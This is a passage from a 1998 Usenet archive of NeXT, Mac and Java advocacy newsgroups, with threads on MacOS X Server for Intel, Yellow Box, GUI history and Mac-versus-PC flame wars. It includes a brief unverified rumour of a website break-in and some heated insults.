dead projects. (my bet is that Steve Jobs just wanted to
axe some of the pet projects of the folks that axed him
a decade prior, however)
- Jeff Dutky
- Jeff Dutky
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 29 Sep 1998 23:20:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <6urq0q$lfh$1@nnrp02.primenet.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost>
<pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: YB has the potential to revolutionize computing. Apple should be working
: to distribute YB everywhere. NT, Win9x, Unix (as many flavors as they
: can), OS/2, Linux, Mac OS, Mac OS X, etc.
: If YB were to become widely accepted, you'd have the dawn of true
: cross-platform computing in a way that Java only promised.
On the subject of "cross-platform computing in a way that Java only
promised", I found an interesting page today. It lists those languages
(beyond Java itself) which have been ported to the Java Virtural Machine.
Quite amazing, I think:
http://grunge.cs.tu-berlin.de/~tolk/vmlanguages.html
John
From: lekleber@columbus.rr.com (ALE)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <lekleber-3009980052270001@uar180090.columbus.rr.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <stmb-2009980849510001@cc678799-a.hwrd1.md.home.com> <6u3h0f$93k$1@holly.prod.itd.earthlink.net>
Organization: Student
Date: Wed, 30 Sep 1998 00:52:26 -0500
NNTP-Posting-Date: Wed, 30 Sep 1998 00:47:22 EDT
In article <6u3h0f$93k$1@holly.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> >> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
> >
> >Of course all you can do with it is run a bunch of crappy old dos app's at
> >a screaming fast 12 mhz.
>
> I'd rather be using crappy software @ 16MHZ than using crappy MAC software
> at 300MHz.
This is the most retarted message I've seen in days. Ok... let me see if
I got this right... You, if given the option of cappy software fast, or
cappy software slow... you would choose slow?!? Please switch brain on
now... or if it is on, hit the reset switch quick, because something has
crashed! (like logic) That is like going to a used car lot and saying:
"Well, since none of them are very good, I'll take the one without
tires" What are you thinking man?!?! Or are you NOT thinking, and thats
the problem?
> ICQ: 14470496 | AOL IM: iMac Hater
Got it. It's not that you like PCs, it's just that you hate the IMac.
Grow up!
ALE
From: alp195@psu.edu
Newsgroups: comp.sys.next.advocacy
Subject: STEPWISE..hacked into?!?!
Date: 30 Sep 1998 04:50:01 GMT
Organization: Penn State University
Sender: alp195@0.0.0.0
Message-ID: <6usd9p$16ci@r02n01.cac.psu.edu>
I heard from somebody that some high school kid hacked into the
www.stepwise.com server not that long ago. Apparrently, the hacker
claims that getting in was real easy. ....hmmm.....if this is true, i
wonder why nobody ever heard of this.
From: nospam@nospam.com
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
Date: 30 Sep 1998 01:08:34 GMT
Organization: Internet Specialties West, Inc.
Message-ID: <6us0ai$j38$1@news.iswest.net>
References: <6undpt$dv$1@eskinews.eskimo.com> <B2348DA5-571F6@206.165.43.157> <nagleF017Ar.LpK@netcom.com>
In-Reply-To: <nagleF017Ar.LpK@netcom.com>
On 09/28/98, John Nagle wrote:
> The trackball came before the mouse. But the first
>graphical input device was the "light gun" developed for the
>SAGE air-defense system.... One such console
>can still be seen at the Computer Museum in Boston.
There's one at the Sillicon Valley Computer Museum as well.
> Englebart is noted for introducing the concept of graphical interfaces
>for mundane applications like document processing. When he did it, it
>was strictly a demo; it took a whole mainframe computer (a PDP-10) to
>drive his system.
Englebart was one of the pushing the use of terminals (instead of punchcards).
People thought this was a nutty idea at the time.
His group also made the first mouse and did and the first hypertext
system which made use of the mouse. The first mouse was wooden and driven
by two potentiometers beneath the mouse angled 90 degrees - no mouse ball.
> The Xerox Alto was the first machine with a GUI anybody could
>actually use. And it didn't have a "desktop" in the modern sense.
>You could run a Smalltalk environment, or you could run Bravo, the
>first WYSIWYG word processor.
I've read it was the first windowing interface and the first serious use
of a bitmap display.
Steve
From: lekleber@columbus.rr.com (ALE)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <lekleber-3009980109110001@uar180090.columbus.rr.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <chrisj-2209981516360001@usr1a15.bratt.sover.net>
Organization: Student
Date: Wed, 30 Sep 1998 01:09:11 -0500
NNTP-Posting-Date: Wed, 30 Sep 1998 01:04:06 EDT
In article <chrisj-2209981516360001@usr1a15.bratt.sover.net>,
chrisj@airwindows.com (Chris Johnson) wrote:
<In article <6u1lfo$snd$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<<s124@[REMOVE]earthlink.net> wrote:
<> I'll tell you something too, I'd rather have a 286 running DR-DOS than a
<> PowerPC G3 233MHz running MacOS.
Joke Mode On:
YEAH! AND I WOULD RATHER USE A TYPEWRITER THAN A COMPUTER! HA!! AND...
AND... I'D RATHER USE HAMMER AND CHISEL ON ROCKS THAN PEN ON PAPER!! HA
HA!!
That'll teach those morron Mac users... yeah. Because I smart! heh...
Joke Mode Off:
If you PCers are trying to prove you simply have nothing intelligent to say...
well... pat your selves on the back, the goal has been achieved!
ALE
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <3611b52e.347174@news2.icx.net>
References: <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu> <36106cf1.0@news.depaul.edu>
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Date: Wed, 30 Sep 1998 05:09:24 GMT
NNTP-Posting-Date: Wed, 30 Sep 1998 00:11:10 CDT
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>Microsoft refers to MDI as 'a way to manage a set of related windows'
>when the taskbar alone is insufficient. They then suggest other
>approaches. Hardly a 'UI standard'.
Absolutely. MDI is not enforced. The choice of using MDI is in the
developer's hands, and the developer may choose to use it, or
implement a multiple document interface in some other fashion. Inprise
(formerly Borland) Delphi and C++Builder both manage multiple windows
without resorting to MDI.
I ported the NEXTSTEP Free Solitaire to Win32 native code. Currently,
I enforce only one game window visible at a time, but there is nothing
stopping me from having multiple game windows all displayed at one
time. Win32 doesn't care or enforce MDI for displaying multiple
windows, and I don't have menus at the top of every window.
The Windows *style* of placing menus at the top of a window is a bit
of a limitation, but again not enforced. There's nothing to stop you
from placing a menu bar at the top of the screen similar to Mac OS and
have it contain the menu items necessary to manage document views
(this is essentially the style of Delphi). The key is having customers
who prefer this enough to prefer your app. Frankly, I'd love Adobe
FrameMaker, Photoshop, etc. to take this approach and get rid of the
useless MDI "parent" frame that contains document views. At least
Adobe has shunned the "everything is a modal dialog" approach of MS
Office.
There is a point here dealing with the Yellow Box for Win32 in that it
currently defaults to placing a copy of the menu in the top of each
document view, and that *is* confusing. However, this is just the
beginning of the disadvantages of the Yellow Box for Win32 vs. native
development, and the MDI/menu thing is only a small worry. Or in other
words, MDI or no MDI will have little to do with the success or
failure of Yellow Box for Win32. I personally don't see a top-notch,
feature-rich, commercial quality Windows app written in Yellow Box for
Win32 as a strong possibility.
Anyway, just because Microsoft wrote a class library over the Win32
API that provides MDI functions doesn't mean every developer has to
copy it. I wish more developers would take a different approach. Some
already have.
Funny thing is that I have people who write me about my Solitaire game
and *complain* that I don't allow the game windows to hijack the
entire desktop space. Go figure...
Michael
http://www.goodsol.com/freesol
From: lekleber@columbus.rr.com (ALE)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <lekleber-3009980130570001@uar180090.columbus.rr.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009981011040001@166-93-82-37.rmi.net>
Organization: Student
Date: Wed, 30 Sep 1998 01:30:57 -0500
NNTP-Posting-Date: Wed, 30 Sep 1998 01:25:52 EDT
In article <Josh.McKee-2009981011040001@166-93-82-37.rmi.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
<> Donald Brown wrote in message ...
<
<> >No accounting for taste, I guess. Of course, my PowerPC G3 233MHz is
<> >going to run rings around your 286, but if your hatred is so irrational
<> >and overpowering, well, isn't it good that there's a choice?
<>
<> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
<
<Evidence to support this "fact" please.
<
<Josh
(The following is a joke. Take it as such.)
Josh please! I can't believe you ask that. Don't you know? A 286 is too
slow to crash!! Think about it! It would take a little more than a year
JUST to boot!! How could it possibly get to the point that it will crash?
Let me put it another way... You have a Pinto with a top speed of 16 MPH.
are you going to crash? NOT!! You have a Porcha 9-11 with a top speed
over 233 MPH. are you going to crash? Hopefully not, but at that speed
who knows!!
(that was a joke, take it as such)
Actuly, with DR-DOS it may be close. If he (donald) had said MS-DOS, I
would have laughed. However, DR-DOS was not made by MicroSoft, has very
few bugs, and farely good abilitys.
FYI, digital reserach, makers of DR-DOS, was forced out of biz, by that
non-monopoly, MicroSoft.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 30 Sep 1998 12:18:24 GMT
Organization: Idiom Communications
Message-ID: <6ut7ig$cok$1@news.idiom.com>
References: <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu>
<360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu>
<360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net>
<360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu>
<360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu>
<36106cf1.0@news.depaul.edu> <3611b52e.347174@news2.icx.net>
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Cc: mmccullo@nospam.net
Michael McCulloch may or may not have said:
-> I personally don't see a top-notch, feature-rich, commercial quality
-> Windows app written in Yellow Box for Win32 as a strong possibility.
Well then, I guess I've seen the impossible.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 02:53:30 GMT
Organization: Primenet (602)416-7000
Message-ID: <6uuqra$99n$2@nnrp03.primenet.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
<360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: The FAQ also states that Apple has commited to providing a free runtime.
Sure, I remember when they made that commitment in 12/96 or 01/97. It is
now 10/98, about 22 months later. Now I can understand that elements of
the runtime have been out of Apple's control. (Though I don't understand
how Apple could be so brain-dead as to not check the encumberances on NeXT
software _before_ the purchase and cut a deal with Adobe _before_ cutting
a check to NeXT.) I also understand how a $20 fee may be the best Apple
can do right now. What I really don't understand is how Apple can let
developers twist in the wind for 22 months, leaving the old NeXT $$$ per
seat license in place. As I understand it, a Windows runtime was
available on day one. If Apple wanted to get developers excited (by
getting them some income), all they had to do was open the gates at that
$20 fee.
For some reason Apple finds it easier to wait, and release the runtime at
the same time as MacOS X Server (or perhaps later). I guess I can see the
logic. Those missing Windows apps don't help sell competing computers, and
delaying the runtime doesn't cost Apple a dime. It only costs the
developers.
Now, would you really like to hold the Windows runtime up as an example of
how the New Apple supports its developer community?
John
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X Server for Intel
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com>
Message-ID: <361301ea.0@news.depaul.edu>
Date: 1 Oct 98 04:15:38 GMT
In comp.sys.next.advocacy John Jensen <jjens@primenet.com> wrote:
> Anyway, I'd say Apple's current heading is as a system vendor, and I
> wouldn't look for a commitment to anything that doesn't support that goal.
> I'm afraid Rhapsody on Intel doesn't support that goal.
Probably true - unless Intel support lets them cover a range of
hardware which they don't want to produce. If Apple doesn't want
to make big honkin' servers, with all the hardcore paraphernalia,
they've nothing to lose by making Rhapsody run on big honkin' Intel
servers - and little else.
By limiting the number of drivers available, Apple could limit the
effect of Intel competition to a manageable level. This assumes
that third parties can't or won't take up the slack and produce
drivers which are in demand. The disconnect between Rhapsody
and MacOS/X driver architectures may help further limit Rhapsody
driver development, I think. Third parties could make more money
writing drivers for PC devices so they work with OS/X on PowerMacs.
In effect, Apple would add to the top end of their line, without
having to invest in hardware R&D in that market. However, they
probably won't do this.
Intel's recent noise about making device drivers easier for
Unix vendors puts an interesting spin on Apple's alleged reason
for not wanting to support Intel - drivers and support. If
this were really the reason, Apple could jump in with Intel,
and wind up with easier driver development.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 01 Oct 1998 11:19:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6uvog4$4ld$1@nnrp1.dejanews.com>
References: <6uac38$tek$1@nnrp1.dejanews.com> <1998Sep29.171323.27840@il.us.swissbank.com>
Sorry.
Just have this hatred of liars who can get people to listen to them.
PC users talk utter bollocks.
Pre-Windoze PC advocate moron:- "Don't need no stinkin GUI"
Post-Windoze PC advocate moron:- "who needs a mac when you can have windoze 1"
etc. etc.
Kindly remove the NT box from your desk before the NeXT jumps on you and goes
for your throat...;)
Hmm.
Maybe, if Chevy's used Petrol (or gas, as you colonials would have it), but
Fords ran on special "Ford Petrol" (three times the price, half the mileage
and your car catches fire every 800 miles), and because of fords efforts, you
were in real danger of only being able to buy ford petrol you would have a
point with your Truck analogy.
just as men aren't potatos, computers aren't cars.
MicroDirge are doing their damndest to esnure that I have no choice other than
to run Windoze on a slow lacklustre Bintel box.
I am an "other-OS" advocate.
MAcs have their uses, NeXts have their uses and so do linux, solaris and Irix
boxes.
Windoze products are all inferior copies of the above.
If windoze was any good, I'd use it.
The other OSes might have their faults (except Irix and NeXtstep - anyone
says different, and they're going on the pyre ];#) but MicroDirge OSes are
much much worse.
OJH
("right on. We will stack their ford driving asses high on the bonfire and
bury them in great pits under ford hubcaps.")
IRONY disclaimer.
Some bits of the above are completely taking the piss.
I'll leave it up to you to decide which...
In article <1998Sep29.171323.27840@il.us.swissbank.com>,
Michael_Humphries-Dolnick.nospam@wdr.com wrote:
> In article <6uac38$tek$1@nnrp1.dejanews.com> OWSCR@hotmail.com writes:
> > I find Windoze advocates iritating for the same reason I find any
> flavour of
> > christian anoying.
>
> Hmmm, my original comment was meant in jest. However, I find this comment
> disturbing... why Windoze "advocate" vs. other-os "advocate"? And what
> does buying a product that another company sells for profit, or chooses
> not to, have to do with religion?
>
> Surely I recognize that there are religious zealots out there, but come
> on! Let's get a life...
>
> I own a Chevy. Boy are those Ford owners annoying! Always telling me how
> great their Ford is, boy I'd like to show them what nimrods those
> engineers at Ford are!
>
> Oops, sorry for the slip into metaphores.
>
> BTW, pre-flame statement: I have one Linux box and one W95 box at home,
> and a OPENSTEP / Mach box at work sits next to my NT WS 4.0 box.
>
> --
> Michael Humphries-Dolnick
> "My opinions, not my employer's"
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: g_a_r_y@s_c_r_e_a_m_ing.org (Gary W. Longsine)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 1 Oct 1998 03:14:53 GMT
Organization: Save the Skeet Foundation
Message-ID: <6uus3d$5lo$1@news.platinum.com>
References: <6ttq8h$7b4$1@news.xmission.com> <6ttqom$had@shelob.afs.com>
<6tuamp$7b4$2@news.xmission.com> <3602b26a.0@news.depaul.edu>
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Cc: jhendry@shrike.depaul.edu
In <3602b26a.0@news.depaul.edu> it seemed Jonathan W Hendry wrote:
> Don Yacktman <don@misckit.com> wrote:
>
> > Oh yeah--one more supporting datum for my "speculation".
>
> > Both you and mmalc are posting to the group again, and it has been a
while
> > since we've seen you two post as much prose as the past few days. Why,
it is
> > as if you just finished a big project and suddenly have a little time on
your
> > hands (like a "breather" between releases). I can only think of one
deadline
> > that really exists for both you and P&L systems simultaneously at this
stage
> > of the game, and that's the third party disk which I'd expect to see ship
> > with Mac OS X...
>
> Anyone seen a Mike Paquette post lately? He's been real quiet.
I think he's posted about 10 times in the last six months. I'd guess
he's doing stuff so cool that frost forms on the walls of his office in the
summer.
/gary
--
Gary W. Longsine | ____/| OpenStep MachOS
| \ o.O| Objective-C
l_o_n_gsine@platinum.com | =(_)= the Dock
NeXTmail & MIME | U Elegance is Relevant.
Message-ID: <36130800.D10A4208@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
References: <6ttq8h$7b4$1@news.xmission.com> <6ttqom$had@shelob.afs.com>
<6tuamp$7b4$2@news.xmission.com> <3602b26a.0@news.depaul.edu> <6uus3d$5lo$1@news.platinum.com>
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NNTP-Posting-Date: Thu, 01 Oct 1998 00:38:17 EDT
Date: Wed, 30 Sep 1998 21:41:36 -0700
Gary W. Longsine wrote:
* In <3602b26a.0@news.depaul.edu> it seemed
* Jonathan W Hendry wrote:
* * Anyone seen a Mike Paquette post lately?
* * He's been real quiet.
* I think he's posted about 10 times in the last six months.
* I'd guess he's doing stuff so cool that frost forms on the
* walls of his office in the summer.
Elementary Carnot cycle: assume Apple HQ is a closed
system --- which would fit with all the FUD-spreaders in the
forum --- and then consider all the Hot Air emanating from the
Apple building to the outside world . . .
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: Rob McG <rmcgcreative@SPAMFREE.yahoo.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: 1 Oct 1998 12:45:03 GMT
Organization: AT&T WorldNet
Message-ID: <36134134.ACBD2A8B@SPAMFREE.yahoo.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com>
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hughesojh@my-dejanews.com wrote:
> [snip]
>
> Now, why would micro$ost accidentally make their OS not work on a syatem with
> one of it's best competitors installed?
>
> Oh that's right.
>
> They wouldn't. Not accidentally.
> > >5) To get it to work with LILO, you have to use DiskDruid to make the MKFS
> > ,
> > >swap partitions and dos partition, then install windows, then install linux
> > >again.
> >
> > That's LILO's problem. LILO is a Linux boot loader... it's their
> > responsibility to configure their boot loader to work with other operating
> > systems, not MS's. Windows has been around much longer then LILO.
> >
> Hmmm./
The verdict should already be in on this one. In the MS/DOJ case, the "smoking"
gun has already been found, yet MS lawyers, of course, said it wasn't really
important and was being taken out of context. The "gun?" Internal memos from MS
developers explaining how to make Win 3 secretly search the users hard drive and
corrupt any comptetor's software, i.s., WriteNow, Nissus, WordPerfect, etc,
causing the user to get so fed up that they would call tech support...who would
recommend that should really be using MS's version of the product (MS Word, etc.)
to assure best performance.
No, MS only has the good of the user at heart and doesn't engage in unfair
business practices. (gag).
>
>
[snip]
--
"What spirit is so empty and blind, that it cannot recognize the fact that the
foot is more noble than the shoe, and skin more beautiful than the garment with
which it is clothed?" - Michelangelo
Remove SPAMFREE. from address to e-mail!
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: 1 Oct 1998 13:54:32 GMT
Organization: Primenet (602)416-7000
Message-ID: <6v01io$luh$1@nnrp02.primenet.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu>
<joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
: Intel's recent noise about making device drivers easier for
: Unix vendors puts an interesting spin on Apple's alleged reason
: for not wanting to support Intel - drivers and support. If
: this were really the reason, Apple could jump in with Intel,
: and wind up with easier driver development.
I agree.
John
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com>
Subject: Re: ARGH]:
Date: Thu, 1 Oct 1998 09:54:51 -0400
Message-ID: <3613894a.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Rob McG wrote in message <36134134.ACBD2A8B@SPAMFREE.yahoo.com>...
>
>
>hughesojh@my-dejanews.com wrote:
>
>> [snip]
>>
>> Now, why would micro$ost accidentally make their OS not work on a syatem
with
>> one of it's best competitors installed?
>>
>> Oh that's right.
>>
>> They wouldn't. Not accidentally.
>> > >5) To get it to work with LILO, you have to use DiskDruid to make the
MKFS
>> > ,
>> > >swap partitions and dos partition, then install windows, then install
linux
>> > >again.
>> >
>> > That's LILO's problem. LILO is a Linux boot loader... it's their
>> > responsibility to configure their boot loader to work with other
operating
>> > systems, not MS's. Windows has been around much longer then LILO.
>> >
>> Hmmm./
>
>The verdict should already be in on this one. In the MS/DOJ case, the
"smoking"
>gun has already been found, yet MS lawyers, of course, said it wasn't
really
>important and was being taken out of context. The "gun?" Internal memos
from MS
>developers explaining how to make Win 3 secretly search the users hard
drive and
>corrupt any comptetor's software, i.s., WriteNow, Nissus, WordPerfect, etc,
>causing the user to get so fed up that they would call tech support...who
would
>recommend that should really be using MS's version of the product (MS Word,
etc.)
>to assure best performance.
..
Or... how about an OS driver searching the SCSI chain for some Apple "mark"
and refusing to work and/or work correctly if it's not found? Of course this
"mark" has nothing to do with reliability, functionality or the color of the
moon but... Apple had the good of the user at heart and doesn't engage in
unfair business practices. (gag). Hell, you don't even _need_ memos for this
one, it's plain as the nose on your face. Time to get off your high horse.
BTW, LILO works just fine with WIN95/98 & NT. NetBEUI over TCP/IP clients
for Samba are free for the download on the _MS_ site and NT supports the
Mac - rather nicely too. What has Apple done lately?
..
>No, MS only has the good of the user at heart and doesn't engage in unfair
>business practices. (gag).
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: 1 Oct 1998 15:00:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6v05f4$2eg@newsb.netnews.att.com>
References: <36099217.345010578@news.newsguy.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6v01io$luh$1@nnrp02.primenet.com>
Originator: gupta@tlctest
John Jensen <jjens@primenet.com> wrote:
>Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>: Intel's recent noise about making device drivers easier for
>: Unix vendors puts an interesting spin on Apple's alleged reason
>: for not wanting to support Intel - drivers and support. If
>: this were really the reason, Apple could jump in with Intel,
>: and wind up with easier driver development.
>
>I agree.
>
How far away is UDI ? According to what I could find on the
UDI website, the effort began in 1993, when it was called CDDE
(Common Device Driver Environment). Version 0.8 of UDI was released
7/24/98. Version 0.90 is scheduled for January 1999.
Project UDI and Intel appear to be counting on the Linux
community to provide the bulk of the initial UDI drivers.
It remains to be seen if Linuxers support UDI.
An Apple announcement of support for Intel hardware through
UDI would be so much more vaporware; there is already a lot
of speculation that MacOS X Server for Intel will remain
vaporware, even though it is more "real" than UDI.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: 1 Oct 1998 15:22:17 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6v06n9$2g8@newsb.netnews.att.com>
